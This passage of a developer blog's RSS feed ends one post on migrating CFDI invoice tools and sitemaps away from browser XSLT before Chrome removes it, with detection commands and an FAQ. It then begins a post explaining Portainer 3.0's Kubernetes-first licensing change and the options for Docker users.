  &lt;span class=&quot;token literal-property property&quot;&gt;sourceText&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; xmlText&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;serialized&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In my test, compiling took 2.4 s and the SEF weighed 3.65 MB, which matters if you ship it to the browser. Check the license before redistributing: Saxonica offers it free of charge, but it is not open source.&lt;/p&gt;
&lt;h2 id=&quot;how-to-find-out-if-you-depend-on-xslt&quot;&gt;How to find out if you depend on XSLT&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. Search the code.&lt;/strong&gt; Server-side hits in PHP, Java or .NET do not affect you; JavaScript that runs in the browser does:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rnE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;XSLTProcessor|transformToFragment|transformToDocument|importStylesheet|xml-stylesheet|cadenaoriginal&amp;quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--include&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;*.&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;js,mjs,ts,tsx,jsx,vue,svelte,astro,html,xml,php&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  --exclude-dir&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;node_modules,vendor,.git&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;*.xsl&amp;quot;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-name&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;*.xslt&amp;quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; node_modules
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Search what you built.&lt;/strong&gt; The npm library above hides &lt;code&gt;XSLTProcessor&lt;/code&gt; inside &lt;code&gt;node_modules&lt;/code&gt;, so the grep above misses it. Run the same pattern over your build output (&lt;code&gt;dist/&lt;/code&gt;, &lt;code&gt;build/&lt;/code&gt;, &lt;code&gt;.next/&lt;/code&gt;, &lt;code&gt;public/build/&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Check what you serve.&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; https://yoursite.com/wp-sitemap.xml &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;xml-stylesheet[^?]*&amp;#39;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; https://yoursite.com/feed/ &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;xml-stylesheet[^?]*&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. Test with XSLT off.&lt;/strong&gt; No need to wait for November or install Canary. In Stable Chrome, go to &lt;code&gt;chrome://flags/#xslt&lt;/code&gt; and set it to &lt;em&gt;Disabled&lt;/em&gt;, or start Chrome with &lt;code&gt;--disable-features=XSLT&lt;/code&gt; (I verified it on Chrome 152). For a headless check:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;chrome &lt;span class=&quot;token parameter variable&quot;&gt;--headless&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;new --disable-features&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;XSLT --dump-dom &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&amp;#39;data:text/html,&amp;lt;script&amp;gt;document.write(typeof XSLTProcessor)&amp;lt;/script&amp;gt;&amp;#39;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# undefined  → this is how your app will look in Chrome 158&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;5. Let production tell you.&lt;/strong&gt; Chrome reports the deprecation through the Reporting API with the id &lt;code&gt;XSLT&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-js&quot; data-language=&quot;js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ReportingObserver&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;reports&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; r &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; reports&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;body&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;XSLT&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; navigator&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sendBeacon&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;/telemetry/xslt&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;body&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sourceFile &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;types&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;#39;deprecation&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;buffered&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;observe&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And open the console: every use prints “XSLTProcessor and XSLT Processing Instructions have been deprecated by all browsers”.&lt;/p&gt;
&lt;h2 id=&quot;who-actually-needs-to-act&quot;&gt;Who actually needs to act&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;You run a CFDI viewer, validator or PDF generator that builds the original string in the browser:&lt;/strong&gt; you are the audience for this post. You have until 17 November. Pick server-side (and update your privacy copy) or the polyfill with a flattened stylesheet, and validate against a real seal as above before shipping.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You use &lt;code&gt;XSLTProcessor&lt;/code&gt; for anything else on the front end:&lt;/strong&gt; same deadline, same options. If you cannot migrate in time, the &lt;a href=&quot;https://developer.chrome.com/docs/web-platform/origin-trials&quot;&gt;Origin Trial&lt;/a&gt; buys you until August 2027. If what uses XSLT is an XML document, there is no &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; for the meta tag, so the token goes in the &lt;code&gt;Origin-Trial&lt;/code&gt; HTTP header.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You have a WordPress, Yoast, Rank Math or Astro site with a styled sitemap:&lt;/strong&gt; nothing that matters for indexing breaks. Drop the instruction if the warning bothers you, or serve HTML separately if people read that sitemap.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Your company runs an internal app or device that serves XML with XSL and you cannot change it:&lt;/strong&gt; the &lt;code&gt;XSLTEnabled&lt;/code&gt; enterprise policy and the extension Chrome recommends are for you. The policy expires in August 2027. The extension applies the polyfill, so it does not depend on native XSLT.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;You only build the string in PHP, Java or .NET on the server:&lt;/strong&gt; not your problem. This is a browser change.&lt;/p&gt;
&lt;p&gt;Further reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://ortamarco.me/en/blog/xslt-polyfill-extension-edge/&quot;&gt;XSLT Polyfill: the extension, the one-line fix and Edge’s later date&lt;/a&gt;: the polyfill line tested on a sitemap and a feed with XSLT off, and why Edge removes XSLT in December.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ortamarco.me/en/blog/validate-mexican-rfc-cfdi-claude-mcp/&quot;&gt;Validate Mexican RFC, CURP and CFDI invoices from Claude&lt;/a&gt;: the open-source MCP server that reads CFDI 4.0 and validates RFC, CURP and CLABE, and the six details a regex gets wrong.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ortamarco.me/en/blog/best-mcp-servers-for-seo-2026/&quot;&gt;Best MCP servers for SEO in 2026&lt;/a&gt;: if you audit sitemaps with agents, which tool does what.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ortamarco.me/en/blog/what-breaks-upgrading-to-node-26/&quot;&gt;What breaks upgrading to Node 26&lt;/a&gt;: the same format for the runtime.&lt;/li&gt;
&lt;/ul&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What does &amp;quot;This site uses XSLT; that functionality is being removed from this browser very soon&amp;quot; mean? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It is a red banner Chrome itself inserts at the top of pages built with XSLT, since Chrome 154. It is not a virus. It warns that the page relies on a technology Chrome stops running in Chrome 158, on 17 November 2026, after which the page will likely no longer display correctly. A visitor can ignore it, install an extension that restores XSLT, or contact the site owner; from Chrome 156 the banner has a close button and a Never show this warning checkbox. The site owner has to remove the XSLT dependency or move the transform to the server. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; When does Chrome remove XSLT support? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; In Chrome 158, which reaches Stable on 17 November 2026. From that version XSLTProcessor and processing of xml-stylesheet instructions with type text/xsl stop working, except for sites enrolled in the Origin Trial and machines with the XSLTEnabled enterprise policy. Both exceptions end in Chrome 176, on 17 August 2027. The Chrome 158 beta ships on 28 October 2026. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does my XML sitemap with an XSL stylesheet break in Chrome 158? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; The file does not. What changes is how a person sees it in Chrome: instead of the table generated by the XSL stylesheet, the browser shows its raw XML viewer, with no error. I tested it in Chrome 152 with XSLT disabled on the yoast.com sitemap index. The server keeps sending exactly the same bytes. Google has not published anything specific about XSLT and sitemaps, but the change is in the browser, not in the XML document. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How do I remove the XSL stylesheet from a WordPress sitemap? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; In WordPress core, return false from the wp_sitemaps_stylesheet_url and wp_sitemaps_stylesheet_index_url filters, for example with __return_false; the core source says that displays the raw XML. In Yoast, the wpseo_stylesheet_url filter receives the full declaration and you can return an empty string. In Rank Math the filter is per type: rank_math/sitemap/{type}_stylesheet_url. WordPress core has ticket 65593 open to remove the stylesheet in version 7.2. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Why do CFDI invoice viewers that use XSLT in the browser break? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Because the original string of a CFDI 4.0 invoice is defined by the SAT through the cadenaoriginal_4_0.xslt stylesheet, and the convenient way to run it in the browser was XSLTProcessor. In Chrome 158 that class no longer exists and the code throws ReferenceError: XSLTProcessor is not defined. Without the original string you cannot verify the invoice&amp;#39;s digital seal. Reading the XML with DOMParser, as this site&amp;#39;s CFDI viewer does, keeps working. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Which alternative correctly builds the SAT original string without browser XSLT? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; I tested several against the seal of a CFDI 4.0 test invoice. Saxon-HE in Java, SaxonJS 2.7 with the stylesheet compiled to SEF, and xslt-polyfill 1.0.28 in the browser with the stylesheet flattened into one file all produced the correct string. xslt-polyfill fails if the stylesheet keeps its 33 xsl:include files, and xslt-processor 5.1.2 produced a different string that the seal does not verify against. On the server, PHP with ext-xsl, which is what CfdiUtils uses, is unaffected. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does CfdiUtils build the CFDI original string without XSLT? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; No. Its DOMBuilder uses XSLTProcessor from PHP&amp;#39;s ext-xsl extension with the SAT stylesheet, and it also offers GenkgoXslBuilder and SaxonbCliBuilder. Its documentation notes that the stylesheet declares XSLT 2.0 but the PHP transform produces the expected result. Because it runs on the server, Chrome&amp;#39;s XSLT removal does not affect it. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How can I test my site today as if it were Chrome 158? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; In Stable Chrome, go to chrome://flags/#xslt and set it to Disabled, or start the browser with --disable-features=XSLT. With that, typeof XSLTProcessor returns undefined and XML files with an XSL stylesheet render raw. To catch uses in production, register a ReportingObserver for deprecation reports and filter the ones with id XSLT. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Web Development</category><category>Chrome</category><category>XSLT</category><category>XML</category><category>CFDI</category><category>SEO</category><category>Migration</category><author>Marco Orta</author></item><item><title>Portainer 3.0 Is Kubernetes-First: What Changes If You Run Docker (and Which Alternative to Pick)</title><link>https://ortamarco.me/en/blog/portainer-3-docker-alternatives/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/portainer-3-docker-alternatives/</guid><description>Portainer 3 is Kubernetes-first with no CE; the free tier is an expiring 3-node license. What breaks, and when to pick Coolify, Komodo, Dockge or Dockhand.</description><pubDate>Sun, 13 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Portainer 3.0 will not break your Docker host at the end of the month. What ends is something else: there will be no Community Edition of the 3.x line.&lt;/strong&gt; CEO Neil Cresswell said so himself in the &lt;a href=&quot;https://www.portainer.io/blog/portainer-3-0-is-coming&quot;&gt;official announcement on 11 September 2026&lt;/a&gt;: CE “will continue on the 2.x codebase” and “will not receive the 3.x changes.” 3.x stays free for the community only through the &lt;strong&gt;3 Nodes Free&lt;/strong&gt; program, which is a Business Edition license. And 3.x is, in his words, “a Kubernetes-first codebase.”&lt;/p&gt;
&lt;p&gt;If you run Docker — not Kubernetes — with Portainer CE, the decision is not urgent, but it is real: stay on 2.x for as long as it lasts, take the free three-node license and accept a product built around Kubernetes, or leave. Below are the facts checked against primary sources, what breaks on each path, and which tool fits which setup. I run Coolify in production on two VPSes, so at the end I also share what has bitten me.&lt;/p&gt;
&lt;h2 id=&quot;what-the-announcement-actually-says&quot;&gt;What the announcement actually says&lt;/h2&gt;









































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Topic&lt;/th&gt;&lt;th&gt;What Portainer published&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Last 2.x release&lt;/td&gt;&lt;td&gt;&lt;strong&gt;2.45 LTS&lt;/strong&gt; (GitHub release &lt;code&gt;2.45.0&lt;/code&gt;, 27 August 2026) is the last release in the 2.x line&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3.0&lt;/td&gt;&lt;td&gt;Ships as &lt;strong&gt;3.0.0 STS “from the end of this month”&lt;/strong&gt;; the next LTS is &lt;strong&gt;3.3.0, in December&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Direction&lt;/td&gt;&lt;td&gt;3.x is Kubernetes-first: keeping Docker/Podman, Swarm and Kubernetes at parity in one codebase “is no longer viable”&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Native Docker, Swarm and Podman environments&lt;/td&gt;&lt;td&gt;You can still add them and “they still work,” but they are ordered second in the UI and &lt;strong&gt;will not receive new capabilities&lt;/strong&gt; from the policy engine, GitOps engine or observability layer&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;New products&lt;/td&gt;&lt;td&gt;Portainer-Run, IDP, Command and AiGrid are &lt;strong&gt;Kubernetes-only&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;If you stay on 2.x&lt;/td&gt;&lt;td&gt;“Nothing changes”: security updates, bug fixes and selective back-ports of 3.x features continue&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Community Edition&lt;/td&gt;&lt;td&gt;Continues on 2.x. &lt;strong&gt;No separate CE build of 3.x&lt;/strong&gt;; 3.x is free through &lt;strong&gt;3 Nodes Free&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Official recommendation&lt;/td&gt;&lt;td&gt;Move from Docker to &lt;strong&gt;D2K&lt;/strong&gt; (a synthetic Docker on top of Kubernetes) or native Kubernetes; KubeSolo for single nodes&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h3 id=&quot;the-reddit-take-ce-is-gone-and-the-only-free-option-is-business-up-to-3-nodes&quot;&gt;The Reddit take: “CE is gone, and the only free option is Business up to 3 nodes”&lt;/h3&gt;
&lt;p&gt;That reading spread on r/selfhosted. &lt;strong&gt;It is correct for the 3.x line and incomplete about everything else.&lt;/strong&gt; Here is what the primary sources confirm:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;True:&lt;/strong&gt; there will be no CE edition of 3.x, and the free way to run 3.x is 3 Nodes Free. The &lt;a href=&quot;https://www.portainer.io/take-3&quot;&gt;program page&lt;/a&gt; says it is a &lt;strong&gt;Business Edition license key&lt;/strong&gt;, sent after you fill in a form, and “limited to one license per organization.”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Incomplete:&lt;/strong&gt; CE does not vanish tomorrow. It stays on 2.x, the &lt;a href=&quot;https://github.com/portainer/portainer&quot;&gt;&lt;code&gt;portainer/portainer&lt;/code&gt;&lt;/a&gt; repository keeps its zlib license, and the &lt;a href=&quot;https://docs.portainer.io/start/lifecycle&quot;&gt;lifecycle policy&lt;/a&gt; gives 2.45 LTS maintenance &lt;strong&gt;until May 2027&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The detail almost nobody mentions:&lt;/strong&gt; the three-node license &lt;strong&gt;expires and has to be renewed&lt;/strong&gt;. The &lt;a href=&quot;https://docs.portainer.io/faqs/licensing/how-do-i-renew-my-3-nodes-free-license&quot;&gt;docs&lt;/a&gt; say the new key is not sent until 14 days before the current one expires. CE needed no form and no renewal.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What counts as a node:&lt;/strong&gt; per the &lt;a href=&quot;https://docs.portainer.io/faqs/licensing/what-is-a-node-for-licensing-purposes&quot;&gt;licensing FAQ&lt;/a&gt;, on Docker any server running the Portainer Server or the Agent counts. Three Docker hosts (one running the server, two running agents) are three nodes, so you have used up the free tier.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A warning about that May 2027 date: the same lifecycle page still lists a 2.46 STS for September and a 2.51 LTS for February 2027, which the announcement contradicts, since 2.45 is the last 2.x. The table has not been updated since the announcement, so treat May 2027 as the published date, not a guarantee. The announcement itself gives no end date for 2.x.&lt;/p&gt;
&lt;h2 id=&quot;what-breaks-and-what-doesnt-on-each-path&quot;&gt;What breaks (and what doesn’t) on each path&lt;/h2&gt;
&lt;h3 id=&quot;path-1-you-stay-on-portainer-ce-245&quot;&gt;Path 1: you stay on Portainer CE 2.45&lt;/h3&gt;
&lt;p&gt;Nothing breaks today. There are still two things worth doing this week.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pin the exact image version.&lt;/strong&gt; On Docker Hub, the &lt;code&gt;lts&lt;/code&gt;, &lt;code&gt;sts&lt;/code&gt; and &lt;code&gt;latest&lt;/code&gt; tags of &lt;code&gt;portainer/portainer-ce&lt;/code&gt; were last updated on 27 August, with 2.45.0. I found nothing documenting where those tags will point once 3.0 STS ships, so if you run Watchtower or anything similar, do not let a floating tag make the call:&lt;/p&gt;
&lt;pre class=&quot;language-yaml&quot; data-language=&quot;yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;services&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;portainer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; portainer/portainer&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;ce&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;2.45.0   &lt;span class=&quot;token comment&quot;&gt;# not :latest or :sts&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Make sure you are on 2.45.0 (or 2.39.7 if you are still on the previous LTS).&lt;/strong&gt; The &lt;a href=&quot;https://github.com/portainer/portainer/releases/tag/2.45.0&quot;&gt;2.45.0 release notes&lt;/a&gt; fix a critical authorization bypass in the Docker proxy: unrecognized API version prefixes such as &lt;code&gt;/v1.47.0/&lt;/code&gt; skipped access control entirely, letting non-admin users reach the Docker API directly. 2.39.7 LTS got the same fix on the same day.&lt;/p&gt;
&lt;p&gt;To check which image you are running:&lt;/p&gt;
